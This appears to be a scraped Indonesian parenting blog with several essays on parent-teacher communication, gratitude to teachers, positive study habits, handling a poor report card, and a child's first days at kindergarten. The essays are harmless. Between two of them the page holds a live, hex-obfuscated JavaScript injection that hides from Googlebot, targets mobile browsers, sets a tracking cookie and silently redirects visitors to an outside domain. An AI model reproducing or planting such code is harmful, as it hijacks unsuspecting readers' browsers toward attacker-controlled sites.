Pada pihak lain, suaminya yang setiap hari berjalan kaki untuk menuju sawah dan hutan mulai merasa nyaman dengan kondisi tersebut, bahkan ia merasa jauh lebih sehat dibandingkan sebelumnya saat ia masih bisa menggunakan sepedanya. Ia berfikir untuk menjual sepedanya kemudian membelikan giwang bagi istrinya yang hanya menggunakan satu giwang. Kemudian ia melaksanakan niatnya juga tanpa sepengetahuan istrinya, karena ia ingin memberikan hadiah kepada istrinya di hari ulang tahunnya sendiri.
Hari ulang tahun itu pun tiba, ketika di pagi hari saat mereka hendak memulai aktivitas masing-masing, istrinya berlari untuk mengambil sesuatu yang telah dibungkusnya dengan rapi untuk diberikan kepadanya suaminya. Ia mengucapkan hari ulang tahun dan meminta suaminya untuk membuka bungkusan tersebut. Dan, alangkah terkejut karena ia mendapatkan sadel di dalam bungkusan tersebut hasil penjualan giwang istrinya. Kemudian ia meraih bungkusan kecil di sakunya yang ternyata giwang hasil penjualan sepedanya.
Pak Mamat mempunyai hati terpuji untuk membahagiakan istrinya dengan memberikan hadiah, walaupun ia harus merelakan sesuatu yang sangat berharga miliknya. Pada kesempatan yang sama Bu Mamat juga mempunyai nurani yang terpuji karena merelakan hanya sebuah giwangya bagi kebahagiaan suaminya. Namun kedua hati yang mulia tersebut tidak ada manfaatnya jika tidak ada komunikasi yang intensif tentang niat dan kemauan mereka masing masing.
Apakah tidak mungkin kejadian Pak Mamat dan istrinya juga terjadi antara kita orang tua dan para guru? Masing-masing pihak mempunyai cita-cita luhur untuk menyukseskan pendidikan anak dengan cara kita masing-masing, namun karena tiadanya komunikasi yang intensif antara kedua belah pihak, akhirnya cara yang dilakukan justru sangat bertolak belakang. Anak pun menjadi rusak, ia menjadi korban atas kemacetan komunikasi tersebut.

Dalamnya lautan dapat diduga, namun dalamnya hati siapa yang mengetahuinya. Komunikasi adalah salah satu teknik mengetahui dalamnya hati seseorang

 

Terima Kasih Guru : Kita Harus Berterima Kasih

Malam itu anak saya tertidur tanpa shalat isya dan tanpa membaca Al Qur’an terlebih dahulu. Kegiatan di sekolah hari itu tampaknya membuat ia lebih lelah dari biasanya, sehingga himbauan kami untuk melaksanakan shalat dan membaca Al Qur’an sudah tidak mampu lagi mengalahkan rasa kantuknya. Akhirnya kami hanya bisa merapikan posisi tidurnya dan memaklumi apa yang ia kerjakan, ia baru berumur 7 tahun.

Namun tengah malam sekitar pukul 01.00 WIB kami dikejutkan gemericik air dari wastafel tempat cuci dengan suara khas seseorang berwudlu. Sejenak kemudian kami mendengar suara anak bertakbir tanda ia memulai shalat. Kami tetap menunggu siapa yang melakukan hal itu dan apa yang dilakukannya setelah itu. Tiba-tiba suara ketukan pada pintu kamar membangunkan kami untuk beranjak dari ranjang. Kami buka pintu tersebut dan alangkah terkejutnya ketika anak pertama kami telah membawa buku ngajinya untuk minta disemak. Berarti semua suara tadi dilakukan putra kami dengan akhirnya ia meminta untuk menyimaknya mengaji.
Keesokan harinya usai shalat shubuh isteri mulai mengisi buku penghubung tentang kegiatan anak di rumah selama 1 hari kemarin. Tidak ketinggalan mengisikan kegiatan mengaji dan shalat isya anak yang dilakukan tengah malam.
Dengan semua peristiwa tersebut muncul beberapa pertanyaan di dalam benak, apa yang menggerakkan anak untuk bangun tengah malam melakukan shalat isya’ kemudian membaca Alqur’an? Bagaimana memasukkan sifat tanggung jawab pada benak anak sekecil ini? Dan pertanyaan-pertanyaan lain yang terus muncul di dalam benak. Namun kami sepakat ini semua yang melakukan adalah gurunya di sekolah. Karena kami orang tua hanya bisa menghimbau dan memintanya untuk melakukan hal-hal tersebut.
Keesokan harinya kami berdua mendiskusikan peristiwa semalam dan menyampaikan rasa terima kasih dan penghargaan kepada putra kami. Tetapi, apa yang dapat kami lakukan bagi gurunya sebagai tanda terima kasih kami?
Terima kasih ibu guru semoga mutiara yang ibu tanam dalam hati putra kami selalu menjadi penerang bagi perjalanan hidup putra kami.

Engkau busur tempat anakmu, anak panah hidup, melesat pergi

Sikap Belajar Positif

Orang tua mana yang tidak senang melihat putranya mendapatkan nilai rata-rata sembilan untuk ujian akhir semesternya. Apalagi nilai sembilan tersebut merupakan hasil dari sikap belajar yang positif. Ia dapat memanage waktu bermain dan waktu belajar, ia mempunyai reading habit yang tinggi, ia telah mampu mandiri mencari sumber/referensi bagi belajarnya, dan ia mempunyai perilaku yang baik sesuai dengan materi yang ia kuasai.
Apakah ada seorang anak yang berhasil mendapatkan nilai yang baik tetapi tidak mempunyai sikap belajar yang positif? Mari kita melihat sekeliling kita, adakah anak yang selalu mendapatkan nilai tinggi, namun belajar baginya menjadi beban yang sangat berat, ia selalu menunggu orang lain untuk memotivasi belajarnya, ia juga tidak mampu memilih sumber belajar yang sesuai, dan seusai ujian seluruh rumus yang dihafalkan dilupakannya tanpa mampu mempraktikkannya dalam kehidupan sehari-hari.
Inilah sebenarnya masalah kita sekarang ini, sering anak-anak kita mendapatkan nilai bagus tersebut karena drilling soal-soal ujian dan menghafalkan rumus rumus rumit tanpa mereka memahami dari mana rumus tersebut muncul. Akhirnya, kita sebagai orang tua hanya bisa meminta dan memaksa mereka untuk mengikuti les-les pada LBB yang memang sering menjamin nilai akan baik.
Lalu dimanakah posisi sikap belajar yang positif di dalam proses pendidikan anak-anak kita ? Apakah sudah ada program di rumah atau sekolah yang akan membimbing mereka untuk pandai memanage waktu, mempunyai reading habit yang tinggi, memiliki kemandirian untuk mengakses sumber belajar, dan mengaplikasikan beberapa materi ajar dalam kehidupan sehari-hari mereka?
Jika sikap positif dalam belajar kita asumsikan dapat dicapai oleh anak yang lulus SMP, apa yang dapat kita dan guru lakukan saat ini untuk membangun pondasi bagi timbulnya sikap tersebut? Saya sangat menghargai sebuah sekolah yang telah membangun sebuah sistem, sehingga setiap siswa pada tahun-tahun pertama belajar telah dipaksa secara natural untuk memiliki reading habit dan menyukai bacaan. Ia mempunyai ruang perpustakaan yang setiap anak akan nyaman untuk duduk berlama-lama di dalamnya di tengah-tengah berbagai macam buku bacaan anak yang mereka akan terpikat kepadanya dalam pandangan pertama.
Saya juga sangat bangga mendapati seorang guru yang memberikan selembar kertas kepada siswanya untuk PR mengarang. Di dalam kertas tertulis, “Anak-anak carilah sebuah gambar tentang sebuah desa, gunting dan tempelkan di tengah kertas ini. Kemudian berilah komentar sebanyak-banyaknya tentang gambar desa yang telah kalian tempelkan di pinggir luar gambar tersebut”. Pada hari selanjutnya guru tersebut membimbing anak-anak untuk mengurutkan komentar-komentar mereka dan menjadikannya sebuah paragraf karangan tentang desa. Saya ingat kembali guru saya di kelas IV sekolah dasar yang memberi PR untuk menulis karangan dengan kata-kata berikut ini, “Anak-anak buka buku kalian dan tulislah karangan yang berjudul desaku”. Kemudian saya hanya memikirkan kata-kata yang sulit muncul tentang desaku, tanpa membayangkan kondisi riil sebuah desa.
Saya kira kita orang tua dapat mulai membangun sikap belajar yang positif bagi putra-putri kita dengan gemar melakukan percobaan-percobaan sederhana bersama-sama mereka. Membungkus buah belimbing bersama anak kemudian membuka bungkusan tersebut setelah beberapa bulan lalu membandingkan antara buah yang dibungkus dan buah yang tidak dibungkus. Atau membuat mobil-mobilan dari kardus-kardus bekas bungkus peralatan elektronik yang hendak kita buang di tempat sampah. Kata kuncinya adalah berikan kesempatan mereka untuk bereksplorasi dengan alat-alat sederhana di sekeliling mereka, dan bimbing mereka untuk menemukan nilai-nilai yang berharga di dalam eksplorasi tersebut.
Ada seorang ibu menyampaikan pengalamannya, suatu hari putra pertamanya bercerita tentang buku yang telah ia baca di perpustakaan. Dalam buku tentang rahasia semut itu disebutkan cara mengembangbiakkan semut dengan menyiapkan sebuah toples yang diisi dengan pasir lalu disiapkan makanan. Kemudian menempatkan beberapa ekor semut yang sejenis di dalamnya. Mendengar cerita putranya ini, ia lalu mengajak putranya untuk mencoba mengembangbiakkan semut dan mereka berhasil. Kita dapat membayangkan sikap apa yang muncul pada diri anak saat ia mampu melakukan percobaan kemudian berhasil di dalam percobaan tersebut.
Seringkali kita mendengarkan celotehan anak-anak kita yang merupakan buah imajinasi mereka. Sebagian dari imajinasi tersebut dapat kita jadikan sarana untuk membimbing anak untuk melakukan percobaan-percobaan sederhana buah fikiran mereka.

Otak anak bukanlah wadah untuk diisi, tetapi api yang siap dipijarkan

Cara Mengajari Anak : Rapor Merah

Sungguh sangat tidak nyaman hati menerima rapor anak kita dengan beberapa nilai dibawah standar minimal. Ketidaknyamanan yang diakibatkan oleh rasa kecewa atas nilai-nilai tersebut dan sedikit rasa malu saat gurunya menunjukkan nilai tersebut kepada kita.
Akan tetapi sebenarnya putra-putri kita yang mendapatkan nilai-nilai tersebut lebih tidak nyaman daripada kita. Mendapatkan nilai yang kurang baik itu sendiri tidak nyaman, mereka juga tidak nyaman saat akan menghadapi respons kedua orang tuanya, dan mereka sendiri mungkin merasa malu terhadap teman-teman yang mendapatkan nilai lebih baik dari dirinya.
Di antara kedua ketidaknyamanan di atas, rasa tidak nyaman orang tua dan rasa tidak nyaman anak, sebenarnya ada hal yang lebih penting untuk dibicarakan yaitu managemen respons orang tua kepada anak terhadap nilai-nilai tersebut. Karena jenis respons yang diambil orang tua terhadap nilai-nilai tersebut sangat menentukan positif atau negatif pengaruh setiap nilai terhadap pendidikan anak.
Beberapa orang tua menganggap bahwa nilai merah adalah hal buruk, dan putra mereka harus menghindarinya. Dengan pemahaman yang seperti ini orang tua akan cenderung menuntut dan bersikap menyalahkan anak jika terdapat nilai merah pada rapornya. Orang tua yang lain mempunyai pandangan lain bahwa nilai merah adalah hal yang sangat wajar dan bukan merupakan sebuah kesalahan. Dengan pandangan seperti ini orang tua cenderung lebih menerima terhadap nilai anak dan menganggapnya adalah hal yang sangat wajar.
Ada dua hal yang terkait dengan tanggapan anak atas respons kita yang juga perlu dipertimbangkan. Pertama adalah penerimaan, yaitu kita sebagai orang tua harus menerima bahwa nilai merah tersebut adalah sebuah keniscayaan di dalam hidup, dan itu tidak merupakan sebuah dosa. Kedua adalah N ach (kebutuhan berprestasi), seorang anak perlu mendapatkan tuntutan dari dirinya sendiri dan orang lain untuk mendapatkan nilai yang baik. Kemampuan kita sebagai orang tua untuk untuk menyeimbangkan antara penerimaan tulus terhadap nilai merah dan membangun tuntutan baik internal maupun eksternal kepada anak untuk mendapatkan nilai yang baik adalah sebuah kunci keberhasilan kita.
Sebagai contoh seorang anak yang mendapatkan nilai buruk kemudian ia begitu gelisahnya bahkan hingga mengalami stress berat, mungkin hal itu diakibatkan oleh penerimaan orang tua atau lingkungan sekelilingnya yang sangat minim terhadap nilai kurang. Sedangkan tuntutan N ach dari orang tua atau lingkungan sekelilingnya yang terlalu besar. Di sinilah peran orang tua untuk membangun suasana penerimaan yang lebih besar baik dari mereka sendiri maupun dari lingkungannya.
Contoh lain adalah seorang anak yang mendapatkan nilai buruk namun begitu nyaman dengan kondisinya dan tidak ada perasaan bersalah, mungkin hal itu diakibatkan oleh penerimaan yang terlalu besar dari orang tua dan lingkungan sekelilingnya serta N ach yang terlalu kecil. Ia merasakan tidak adanya tuntutan dari orang tuanya dan lingkungannya untuk meningkatkan prestasinya. Peran orang tua dalam konteks ini adalah tetap menerima bahwa nilai kecil adalah hal yang wajar, kemudian memunculkan keinginan untuk berprestasi anak untuk meraih nilai yang lebih baik setahap demi setahap.
Terlepas dari beberapa pandangan yang berbeda di atas, ada beberapa hal yang harus diperhatikan orang tua saat menghadapi rapor putra-putrinya:
<ol>
<li>Amati dengan seksama rapor putra-putri kita, baik yang berbentuk kualitatif maupun kuantitatif. Hindarkan tergesa-gesa untuk memberi komentar, apalagi melakukan reaksi terhadap nilai-nilai yang kurang baik.</li>
<li>Mulai respons dari nilai-nilai yang baik dengan memberi pujian dan ucapan terima kasih atas prestasinya</li>
<li>Hindari membanding-bandingkan rapor putra kita dengan raport temannya dan tidak menganggap penting rangking yang ada di sekolah. Setiap anak mempunyai keunikan dan keunggulan masing-masing. Dorong anak kita untuk berprestasi dengan membandingkan nilai yang diperolehnya sekarang dan nilai yang didapatnya pada ujian yang lalu</li>
<li>Menghargai setiap nilai yang diperoleh anak, baik nilai tersebut tinggi maupun nilai rendah. Tawarkan bantuan kepada anak untuk meningkatkan nilainya yang masih rendah.</li>
<li>Beberapa anak perlu dibantu untuk memahami arti sebuah nilai, supaya mereka dapat menimbang hubungan antara effort (usaha) yang mereka keluarkan dan nilai yang mereka dapat.</li>
<li>Semua sikap harus bersandar pada paradigma bahwa nilai baik dan nilai buruk adalah yang wajar dan bukan merupakan kesalahan. Cara orang tua untuk merespon itulah yang lebih penting.</li>
</ol>
Kadang manusia berhasil karena kegagalannya dan kadang manusia gagal karena keberhasilannya

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mengajar Anak Belajar : Berapa Hari Mama Boleh Menunggu?

Kami sangat optimis terhadap putra kami yang kedua tentang kesiapannya memasuki jenjang pendidikan taman kanak-kanak. Apalagi dengan semangatnya untuk mencoba setiap seragam dan peralatan sekolah, kemudian menunjukkannya kepada teman-temannya sekitar rumah.
Hari awal sekolahpun tiba, ia masih tetap dengan sifatnya yang selalu riang dan selalu menunjukkan baju barunya. Namun, di sore harinya saya mendengar dari mamanya bahwa ia minta untuk ditemani di dalam kelas selama proses belajar. Malamnya kami mencoba untuk berdiskusi tentang upaya yang harus kami lakukan untuk membantu putra kami sehingga berhasil di dalam belajar awal sekolah.
Peristiwa di atas secara tidak kami sadari berlanjut hingga satu pekan, di mana putra kami harus kami antar ke sekolah kemudian mamanya menemaninya di dalam kelas atau di balik jendela kelas. Belum terlihat perkembangan yang signifikan dari putra kami untuk lebih mandiri dan mampu beradaptasi dengan baik atas kondisi sekelilingnya.
Akhirnya kami memutuskan untuk berkonsultasi dengan salah seorang psikolog yang menyarankan kepada kami untuk memberikan dua alternatif bagi putra kami. Alternatif pertama, sekolah dengan hanya diantar oleh mamanya, tanpa ditemani selama masa sekolah. Alternatif kedua, tidak masuk sekolah namun seluruh fasilitas permainan di rumah ditiadakan.
Tanpa memberi tekanan apapun akhirnya kami menyampaikan kedua alternatif tersebut kepada putra kami. Ia memilih alternatif yang kedua yaitu lebih cenderung tidak sekolah dengan seluruh fasilitas permainan rumah ditiadakan daripada sekolah tetapi tidak ditemani mamanya. Di awal proses ia masih merasa enjoy dengan kegiatannya sendiri, berbaring di ranjang, melihat teman-temannya di depan rumah dari balik jendela dan berbicara sendiri. Namun pada perkembangan selanjutnya ia mulai dihantui perasaan tidak nyaman apalagi mamanya yang berada di rumah tidak menghiraukannya setiap permintaan perhatian.
Beberapa permintaan untuk menonton televisi, bermain komputer dan mengambil mainannya dengan tegas ditolak oleh mamanya. Ia mencoba merayu dengan menyebutkan setiap lagu dan doa-doa yang pernah diajarkan oleh gurunya selama satu pekan belajar di sekolah. Namun, rayuan tersebut tidak mampu menjadikan mamanya peduli terhadap dirinya. Hingga ia tertidur dengan sendirinya tanpa disuruh dan ditunggu oleh mamanya.
Waktu bangun tidur datang, dengan tiba-tiba ia menyampaikan kepada mamanya bahwa besok hari ia akan sekolah tanpa harus ditemani oleh mama. Mamanya kemudian meminta ketegasan terhadap pernyataan tersebut, dan dengan mantap ia menyampaikan kembali statement tersebut. Serta merta mamanya menciumnya dan menyampaikan penghargaan atas kesediaan untuk masuk sekolah kembali tanpa ditemani.
Esok hari saat mamanya mengantarkan ke sekolah dan ingin memberi pesan kepada Bu Guru bahwa putra kami sudah berani untuk ditinggal selama masa belajar, tiba-tiba ia mengucapkan ”Mama cepat pulang, adik akan belajar sendiri di sekolah”.
Sejak saat itu putra kami hanya diantar sampai pintu gerbang sekolah di pagi hari dari dijemput pada siang hari. Ia telah berkembang kemandirian dan adaptasinya, minimal belajar tanpa ditemani dan ditunggui orang tuanya.